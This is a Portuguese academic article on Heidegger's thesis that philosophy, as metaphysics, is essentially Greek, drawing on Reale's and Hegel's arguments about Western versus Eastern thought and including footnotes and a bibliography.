O MUNDO GREGO COMO ETHOS DA ASSIM CHAMADA FILOSOFIA-OCIDENTAL-EUROPÉIA (METAFÍSICA) SEGUNDO MARTIN HEIDEGGER

O MUNDO GREGO COMO ETHOS DA ASSIM CHAMADA FILOSOFIA-OCIDENTAL-EUROPÉIA (METAFÍSICA) SEGUNDO MARTIN HEIDEGGER

Roberto S.
Kahlmeyer-Mertens [1]

Resumo: O tema do artigo é o caráter grego da filosofia entendida como metafísica desde
o enfoque permitido pelo pensamento de M. Heidegger (1889-1976). Temos o
objetivo de apresentar que a metafísica tem seu ethos em uma experiencia
grega de origem. Pretendemos validar a hipótese de que: nao pode pretender
legitimidade as tentativas de atrair o mérito do surgimento da metafísica para
outro solo que o referido
. Para fundamentaçao de nossos argumentos,
utilizaremos o comentário de G. Reale e extratos de algumas preleçoes de G. W.
F. Hegel. A problematizaçao dessas idéias aponta para uma ratificaçao do
caráter grego da filosofia e deste como lugar de sua plena realizaçao.

Palavras-chave: Heidegger, Hegel, Metafísica, ethos grego da filosofia

I

Falar de Filosofia-ocidental-européia e ter isto já no título de
uma comunicaçao aponta para a interpretaçao de um autor que se dedicou aos
estudos da filosofia antiga. H-G.Gadamer [2] conta que leituras singulares dos antigos atraíam a sala do jovem professor
Martin Heidegger estudiosos como Werner Jaeger e Max Weber fazendo que estes
“que representavam certamente o que havia na época de mais forte nas cátedras
da universidade alema, parecessem colegiais”.

Atesta-se que a filosofia antiga nunca saiu do centro de interesse da
filosofia de Heidegger, a ponto de em Ser e tempo, seu principal
tratado, se observar Aristóteles como norteador de diversas questoes da
ontologia fundamental ali elaborada. Isto se deve nao a uma afinidade eletiva
ou a mera identidade intelectual entre os autores, mas a constataçao de que a
filosofia antiga é indispensável ao pensamento ocidental, filosófico,
justamente por ser, nas palavras de Heidegger (2005, p.29):

algo que pela
primeira vez e antes de tudo vinca a existencia do mundo grego. Nao só isso, a philosophía determina também a linha mestra de nossa história ocidental-européia. A batida
expressao “filosofia ocidental-européia” é, na verdade, uma tautologia. Por
que? Porque a “filosofia” é grega em sua essencia – e grego aqui significa: a
filosofia é nas origens de sua essencia de tal natureza que ela primeiro se
apoderou do mundo grego e só dele, usando-o para se desenvolver.

Esta passagem do texto Qu’est-ce Que la
philosophie?(1955)
afirma que a filosofia é um modo de pensar que em sua origem é grego e por mais que tenha
sofrido diversas transformaçoes perdendo este semblante, ele ainda é o ethos no qual vigora fundamentalmente enraizado o pensamento ocidental. Por isso
Heidegger afirma que a expressao filosofia ocidental seria tautológica,
afinal, filosofia (e toda a filosofia) é fundamentalmente grega, isto é,
ocidental. Assim, pelo mesmo motivo, também nosso título seria redundante, pois
filosofia só haveria no pensamento ocidental.

Fixa-se, assim, a tese que nosso autor busca
sustentar: a filosofia é grega em sua essencia; o pensamento ocidental, de
base filosófica, é grego.

II

Esta última baseia-se no trecho da citaçao que diz:
“a filosofia é nas origens de sua essencia de tal natureza que ela primeiro se
apoderou do mundo grego e só dele, usando-o para se desenvolver”. Idéia que se
completa com outra que Heidegger (2005 p.29) profere adiante: “A frase: a
filosofia é grega em sua essencia, nao diz outra coisa que: o Ocidente e a
Europa, e somente eles, sao, na marcha mais íntima de sua história,
originariamente filosóficos”.

Essa argumentaçao, certamente controversa, poderia parecer arbitrária e
mesmo truculenta, recebendo objeçoes que acusariam a reflexao de reducionista
ao desconsiderar todas as manifestaçoes da dita “filosofia oriental”;
preterindo com ela, legados de autores como Confúcio, Lao Tsé e Mozi ou a
importância incontestável da Gita, reconhecida por pensadores ocidentais
como Goethe, Humboldt, Schopenhauer e Thoreau.

Contudo a remissao restritiva a filosofia como
fenômeno do pensamento ocidental nao quer dizer que nao haja um pensamento
oriental. Heidegger nao afirma que o Oriente nao pensa, afirma que nao pensa
filosoficamente,
o que, absolutamente, nao constituiria demérito a este.

A afirmaçao de que o ocidente é filosófico em seu
íntimo é um atestado do caráter histórico de uma postura assumida apenas por
este, um modo de pôr-se diante da realidade e dela apropriar-se.

Tal postura pode ser resumida nas seguintes
ocorrencias: No Ocidente a apreensao dos entes na totalidade é dada como
simplesmente presentes (ou seja, isento de qualquer requisiçao de ocupaçao);
por meio desta é possível a diferenciaçao entre o ente presente e aquilo que
Heidegger chama de “presença do presente”, como essencia deste ente (decorrente
de uma pergunta que antecede a todas as suas circunstâncias, visando o que há
de duradouro, de essencial);[3] presencia-se aí a reificaçao da essencia do ente (tratamento da essencia como
algo que ocorreria como um objeto e tentativa sistemática de delimitaçao desta,
objetivamente); a assunçao desta essencia como uma verdade acessível por meio
da teoria, em detrimento da prática (advento da dicotomia entre teoria e
prática) e, finalmente, o estabelecimento do primado do teórico sob o prático e
do preconceito de que o teórico é o modo mais apropriado para o conhecimento
dos entes.

Ao modelo que procede desta maneira Heidegger
chamará de metafísica, tomando-o como sinônimo de filosofia.

Entendendo a filosofia como tentativa de determinaçao do fundamento
primeiro de todas as coisas que efetivamente sao, constata-se que esta atitude
nao é adotada entre os pensadores orientais. Pois nao vemos nenhuma
manifestaçao no pensamento originariamente oriental da sanha pela definiçao
categórica pelo que seja o Tao ou o Zen. Ao contrário, em linhas
gerais, observa-se no pensamento oriental uma conciliaçao ao seu objeto
e nunca a tentativa inconformada de asseguramento de seu modo essencial de ser.

III

Embora alguns autores reclamem para o pensamento oriental (especialmente
o judaico)[4] o mérito de contribuir com elementos fundamentais ao pensamento filosófico, a
tese de uma origem nao grega para filosofia é combatida por Giovanni Reale que
faz diametral oposiçao a essa hipótese quando assevera que a filosofia é “uma
criaçao peculiar dos gregos” (REALE, 1994, p. 11).

Toda a estratégia de argumentaçao de Reale se monta
em bases historiográficas, que tentam comprovar que apenas na cultura grega
presenciaríamos as condiçoes para o acontecimento da filosofia. Sem reproduzir
integralmente sua argumentaçao, nos limitaremos aos principais movimentos que
demonstram que no Oriente nao haveria experiencia correlata a filosofia, nem
sequer algo que se aproximasse por analogia. Para o autor, reconhecer que a
filosofia tem origem na Grécia significa ratificar o advento revolucionário que
transmutaria a face de nossa civilizaçao.

O autor italiano se apóia nos estudos feitos por
Zeller e Burnet,[5] que lhe permitem uma síntese do pensamento antigo apoiando-o na tarefa de
mostrar que nenhuma das tentativas, mesmo entre as dos orientalistas mais
ilustres, teria logrado sucesso ao tentar sustentar rigorosamente uma suposta
origem e derivaçao da filosofia no Oriente. Segundo Reale (1994, p. 13), isso
ocorre por já partirem de intençoes nacionalistas que visariam “tirar dos
gregos e reivindicar para o próprio povo o particularíssimo título de glória
que foi a descoberta da mais elevada forma de saber”;[6] incorrendo em associaçoes forçosas ao comparar Platao com Moisés, o que
significa tentar aproximar a filosofia grega da sabedoria judaica, postura que
o comentador chamará de “fantasias romanescas” (REALE, 1994, p. 14).

No seu esforço combativo, Reale se acerca de
elementos empíricos para legitimar seus argumentos; baseando-se nesses, afirma
que nao haveria nenhum indício histórico-arqueológico que comprove uma origem
filosófica no Oriente.[7] Acreditamos que nosso autor nao precisaria ter ido tao longe para defender tal
posiçao, pois parece haver clareza para alguns filósofos quanto ao fato dos
povos antigos do Oriente possuírem um pensamento característico, mesclado de
sabedoria, religiao e poesia que apontam para princípios fundamentais “mas nao
filosofia propriamente dita” (SANTOS, 1954, p.366).

IV

Hegel fez do tema objeto reincidente em diversas de
suas preleçoes,[8] sendo em sua Introduçao a história da filosofia (1816) que o
autor propoe, ainda no universo de uma filosofia do sujeito, que:

a filosofia se origina, pois, onde existem constituiçoes
livres. (…) No mundo oriental nao se pode falar de genuína filosofia; com
efeito, para explicar concisamente o seu caráter, o Espírito desponta decerto
no Oriente, mas a circunstância é tal que o sujeito, a individualidade nao é
pessoa, antes é determinada como uma fusao efetivo. (HEGEL, 1991, p. 185)

Vemos a asseveraçao de que a filosofia só desponta
onde a liberdade criou possibilidades para tal.[9] Liberdade deve ser entendida aqui como o distanciamento de uma ordem natural na
qual o sujeito já desde sempre se encontra submetido. Para o filósofo este
distanciamento nao haveria no Oriente, pois, lá o sujeito nao é indivíduo,
encontrando-se fundido a natureza; quando muito em uma relaçao mística com o
que é efetivo, produto de constituiçoes nao libertas, como a religiao e
fazendo-se a sombra da divindade. Para o alemao: “o sujeito oriental pode, sem
dúvida, ser grande, nobre, sublime; mas a determinaçao fundamental é que o indivíduo
é desprovido de direito (liberdade) e que aquilo para que ele se constitui é
determinaçao ou da natureza ou do arbítrio”. (HEGEL, 1991)

Desprovido desta capacidade de distanciar-se do
efetivo e empreender o pensamento acerca do que é o universal por meio do
conceito, fica vedada a compreensao de uma filosofia oriental na história da
filosofia (HEGEL, 1991), pois:

A filosofia autentica começa só no Ocidente. É aí
que o espírito mergulha, em si se afunda, se poe como livre, e é livre para si;
e só aí pode existir; e, por conseguinte, também só no Ocidente temos
constituiçoes livres. (…) Na Grécia surge a liberdade da
autoconsciencia. No Ocidente, o espírito entranha-se em si. No esplendor do Oriente, o indivíduo esvanece-se; é apenas uma fulguraçao na substância.
Semelhante luz torna-se no Ocidente o relâmpago do pensamento, que em si mesmo
explode, a partir daí se difunde e produz assim seu mundo a partir do interior.
(HEGEL, 1991, p. 190)

No Ocidente, o pensamento pensa a si mesmo
configurando um sujeito autoconsciente, esta figura nao é mais subjectum ou sub-instância a totalidade dos entes efetivos, mas substância posicionada
enquanto sujeito que, como tal, pode sustentar a realidade na medida em que é;
pensando-a como produto de seu próprio ser e tomando-a, igualmente, em
sua consideraçao no conceito. Ser o “relâmpago” que inaugura a experiencia de
um pensamento Ocidental é, para Hegel, somente possível na condiçao de livre
para a autoconsciencia, para pensar o real como conceito, ou seja, universalmente.
Em contraposiçao, o Oriente é um fogo fátuo: corruscaçoes que apenas
subministram um modo de ser fundido no real.

V

Retomando a idéia de que a filosofia é originariamente grega, como
Heidegger faz no texto que tomamos por base, presenciamos o autor afirmar que o
modo de formular as questoes típicas a este modo de pensar, sao a maneira
grega. Como vemos no documento que se segue:

Perguntamos:
o que é isto…? Em grego isto é: tí estin. A questao relativa ao que
algo seja permanece, todavia, multívoca. Podemos perguntar, por perguntar, por
exemplo: que é aquilo lá longe? Obtemos entao a resposta: uma árvore. A
resposta consiste em darmos o nome a uma coisa que nao conhecemos exatamente.
Podemos, entretanto, questionar mais: que é aquilo que designamos “árvore”? Com
a questao agora posta avançamos para a proximidade do tí estin grego. É
aquela forma de questionar desenvolvida por Sócrates, Platao e Aristóteles.
Eles perguntam, por exemplo: O que é isto, o belo? Que é isto, o conhecimento?
Que é isto, a natureza? Que é isto, o movimento? (HEIDEGGER, 2005, p.30).

Para Heidegger, na pergunta filosófica pela essencia do ente é onde fica
mais nitidamente expresso o modo grego de perguntar. O que é isto…? é
o modo peculiar com que o pensamento grego pergunta pelo ente, pelas coisas que
efetivamente sao. Fica expresso também que esta pergunta nao pretende ficar no
plano superficial da identificaçao da mera coisa. O grego quando formula a
pergunta “ti estin…” nao quer saber se o objeto é uma rocha, um vegetal
ou animal, ou, mesmo, uma forma geométrica, mas pergunta pelo que
fundamentalmente vige nestes entes. O que é isto…? já é um modo de
indagar que visa sondar a essencia do que é indagado (HEIDEGGER, 1998). A
pergunta pela essencia do ente como o que aponta que sua compreensao da
essencia do ente já é algo que pode ser determinado como um isto sobre o
que
podemos predicar; que cada ente possuiria essencialmente a qualidade de
um “que”, expresso pelo vocábulo filosófico tradicional “qüididade” (quidditas).
Assim, a pergunta pela filosofia, pelo conhecimento, pela justiça, pelo belo,
pela poesia, pela linguagem, enfim, pela verdade, já pressupoe a filosofia uma
qüididade ou essencia própria ao ente, sujeito a uma prescriçao objetiva nos
moldes do o que é isto…?

No itinerário histórico demarcado pela filosofia, o
ente expresso em sua essencia como “isto” () teria sofrido múltiplas
interpretaçoes, como nos assegura o autor:

A filosofia,
de Platao é uma interpretaçao característica daquilo que quer dizer o .
Ele significa precisamente idéa. O fato de nós, perguntarmos pelo ,
pelo quid, nos referirmos a “idéia” nao é absolutamente evidente.
Aristóteles dá outra explicaçao do tí, de Platao. Outra ainda dá Kant e também
Hegel explica o de modo diferente. Sempre se deve determinar
novamente aquilo que é questionado através do fio condutor que representa o ,
o quid, o “que”. Em todo caso: quando, referimo-nos a filosofia,
perguntaremos: o que é isto…? levantaremos uma questao originariamente grega
(HEIDEGGER, 2005, p.30).

Aqui se ilustra o modo com que a essencia do ente
enquanto um que, submetido a um modo tipicamente grego dirige uma
tradiçao de questionamentos desta questao primeira. Por meio deste texto de
Heidegger, ilustra-se como a filosofia, enquanto fenômeno histórico,
constitui-se encadeando autores que constituem etapas deste caminho; dialogando
entre si e com quem se aproxime desta experiencia.

Para Heidegger, mesmo quando dirigida e dominada na
época moderna ou mesmo sob tutela do cristianismo, nao se pode dizer que a
filosofia se realiza tendo perdido o lugar que referencia sua origem
Para o filósofo, dizer que a filosofia é grega em sua essencia, nao significa
outra coisa que: “o Ocidente e a Europa, e somente eles, sao, na marcha mais
íntima de sua história, originariamente ‘filosóficos'” (HEIDEGGER, 2005, p. 29)
e, ainda que tenham perdido seu antigo semblante, é este ethos grego que
delineia seu modus operandi de pensamento ocidental.

Bibliografia:

HEIDEGGER,
M; FINK, E. Heraklit. Vittorio Klostermann: Frankfurt am Main, 1996.

HEIDEGGER.
M.
Qu’est-ce Que la
philosophie?.
In. Col. Os Pensadores. Trad. Ernildo Stein, Rio de
Janeiro: Nova Cultural, 2005.

________. Heráclito. Trad. de Márcia de Sá Cavalcante Schuback. Rio de Janeiro: Relume Dumará, 1998.

________. Interprétations Phénoménologiques D’Aristote. Trad.
J.-F Courtine. Prefáce. H.G. Gadamer. Paris: Gallimard, 1976.

GADAMER, H.-G. Un écrit ‘theologique’ de jeunesse. In Interprétations Phénoménologiques D’Aristote. Trad. J.-F
Courtine. Paris: Gallimard, 1976.

HODGE, J. Heidegger e a ética. Trad. Gonçalo C. Feio.
Lisboa: Instituto Piaget, 1995.

JAEGER, W. Paidéia – a formaçao do homem grego. Sao Paulo: Martins
Fontes. 1995.

KAHLMEYER-MERTENS, R. S. Filosofia
Primeira: estudos sobre Heidegger e outros autores
. Rio de Janeiro: Papel
Virtual, 2005.

REALE. G. História da
filosofia antiga.
v.I. Sao Paulo: Loyola, 1994.

SANTOS, T. M. Manual de
Filosofia
. 6a.Ediçao. Companhia Editora Nacional: Sao Paulo,
1954.

ZARADER, M. Heidegger e
as palavras da origem.
Trad. Joao Duarte. Lisboa: Instituto Piaget, 1990.


[1] Doutorando em Filosofia pela Universidade do Estado
do Rio de Janeiro/UERJ, Professor na Faculdade de Formaçao de Professores da
UERJ e da Professor da Universidade Cândido Mendes/UCAM. Autor de Filosofia
Primeira – Estudos sobre Heidegger e outros autores.

[2] GADAMER, 1976, p. 13

[3] Ou seja, como sustentáculo da coisa. Já para os gregos este sustentáculo era Hýpokeimenon,
literalmente algo que se situa (Keimai) por baixo (Hýpo), algo
que jaz sob, ou sub-lançado. Nesses termos, tudo que é já o é desde um
sustentáculo. Com o mesmo sentido, a língua latina se apropria do termo grego,
traduzindo-o literalmente; daí, “subjectum” ou “sub” (embaixo) “jectum”
(lançado). O conceito subjectum e substância (substantia) sao
semanticamente análogos, ambos apontando para a noçao de uma instância sob, a
algo subjacente que sustenta a coisa.

[4] Neste sentido, encontramos os trabalhos de Marlene
Zarader (1995) que requerem o preenchimento de lacunas ou “dívidas” que teriam
sido deixadas pelo pensamento de Heidegger ao nao tratar do suposto legado de
pensamento (tema, este, que Heidegger nunca se propôs a abordar, mas que
encontra acolhida na obra de pensadores como Martin Buber, Emmanuel Lévinas e
Jacques Derrida). Também o livro de Joanna Hodge (1995) sustenta posiçao
antagônica a de Heidegger, descrendo que a filosofia (entendida como
metafísica) possa ser considerada uma prática exclusivamente ocidental-grega,
acreditando que avaliaçoes como essas só conduziriam a reflexoes abstratas
criando encruzilhadas ao pensamento. Para a autora, a transformaçao operada
pela filosofia no mundo grego “nao é menor do que a transformaçao da religiao
que foi o judaísmo, quando se separou em judaísmo e cristianismo”. Por fim, >Karl Löwith assevera que tradiçoes como a ética e a
metafísica teriam origem no pensamento grego e repercussao no judaico; nao se
apresentando no resto do Oriente.

[5] Reale menciona os dois autores em uma nota de rodapé e suas respectivas obras
publicadas no início do século XX.

[6] Reale (1994, p.11) ve nisso a “superioridade dos gregos frente aos povos
orientais”, esta que seria de natureza qualitativa. Contudo, esta
afirmativa nos parece contestável, pois enxergamos nesta um juízo de valor que
o autor poderia ter se privado de fazer, deixando de atrair objeçoes para si;
como aquela que pergunta pelo critério estipulado para o estabelecimento deste
juízo. Afinal, que padroes, mesmo na historiografia, nos autorizariam julgar
que o Ocidente é qualitativamente superior ao Oriente? Em que medida
isso já nao caracteriza uma avaliaçao quantitativa (ao invés de qualitativa
como anuncia o comentador)? O que nos permitiria afirmar propriamente que o
pensamento de Platao é superior ao de seu contemporâneo oriental Lao Tsé? Nao
haveria aí uma interpretaçao que já toma critérios pré-estabelecidos, critérios
que já determinariam o que é o superior e o inferior? Será que quando ousamos
apreciaçoes como esta já nao estaríamos tomando critérios ocidentais para
estabelecer esta qualificaçao? Pois, entendemos que a dualidade
Ocidente-Oriente abriga, sim, um problema qualitativo, mas esta se expressa
maximamente na maneira diversa com que estas partes pensam. Todavia, isto nao
nos permite a valoraçao: superior versus inferior, apenas assinala a
diferença. Ainda com esta aresta, o argumento do autor nao fica comprometido,
sustentando-se.

[7] Chegando ao ponto de afirmar, citando Burnet que: “Nao conhecemos, na época em
que nos ocupamos, nenhum grego que soubesse a língua oriental bastante para ter
lido um livro egípcio (ou hebreu) ou mesmo ouvir um discurso de um sacerdote, e
é só em época muito posterior que ouvimos falar de mestres orientais que escrevem
e falam grego” (BURNET apud REALE, 1994, p.15).

[8] Cf:. Bibliografia

[9] O filósofo alemao identifica na Grécia as condiçoes históricas para o pensar
filosófico quando assegura que: “Esse (…) é justamente a liberdade da
autoconsciencia; e deparamos pela primeira vez com o conceito de liberdade no
povo grego; e por isso começa aí também a filosofia”. (HEGEL, 1991, p. 192)

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